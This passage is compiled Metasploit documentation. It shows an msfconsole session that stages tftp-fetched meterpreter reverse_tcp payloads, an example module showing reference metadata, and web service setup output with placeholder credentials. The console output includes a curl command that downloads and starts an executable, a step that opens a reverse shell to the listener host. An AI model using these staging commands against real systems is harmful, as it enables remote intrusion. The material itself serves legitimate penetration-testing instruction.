  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444

msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4

[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445 
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs

Jobs
====

  Id  Name                    Payload                                       Payload opts
  --  ----                    -------                                       ------------
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444
  4   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4445

msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080

udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5

[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547 
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080

udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
udp        0      0 10.5.135.201:8080       0.0.0.0:*                          


```

--------------------------------

### Full module example with references

Source: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html

This is a complete Metasploit module example showing how to define references in the 'References' array. It includes examples for CVE, BID, GHSA (global and repository-scoped), and URL. The AKA reference is deprecated and should be placed in the 'Notes' metadata field instead, as shown in the 'Notes' section.

```ruby
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Code Example',
        'Description' => %q{
          This is an example of a module using references
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Unknown' ],
        'References' => [
          ['CVE', '2014-9999'],
          ['BID', '1234'],
          ['GHSA', 'xxxx-xxxx-xxxx'],               # global advisory
          ['GHSA', 'xxxx-xxxx-xxxx', 'owner/repo'], # repository-scoped advisory
          ['URL', 'http://example.com/blog.php?id=123']
        ],
        'Platform' => 'win',
        'Targets' => [
          [ 'Example', { 'Ret' => 0x41414141 } ]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Privileged' => false,
        'DisclosureDate' => '2014-04-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => [ 'shellshock' ]
        }
      )
    )
  end

  def exploit
    print_debug('Hello, world')
  end

end
```

--------------------------------

### Web service startup output

Source: https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html

After answering the prompts, the web service starts and displays credentials and connection instructions. The output includes the username, password, API token, and the db_connect command.

```text
Generating SSL key and certificate for MSF web service
Attempting to start MSF web service...success
MSF web service started and online
Creating MSF web service user your_current_account_name

    ############################################################
    ##              MSF Web Service Credentials               ##
    ##                                                        ##
    ##        Please store these credentials securely.        ##
    ##    You will need them to connect to the webservice.    ##
    ############################################################

MSF web service username: your_current_account_name
MSF web service password: super_secret_password
MSF web service user API token: super_secret_api_token


MSF web service configuration complete
The web service has been configured as your default data service in msfconsole with the name "local-https-data-service"

If needed, manually reconnect to the data service in msfconsole using the command:
db_connect --token super_secret_api_token --cert /Users/your_current_account_name/.msf4/msf-ws-cert.pem --skip-verify https://localhost:5443

The username and password are credentials for the API account:
https://localhost:5443/api/v1/auth/account

```
Tokens:
Raw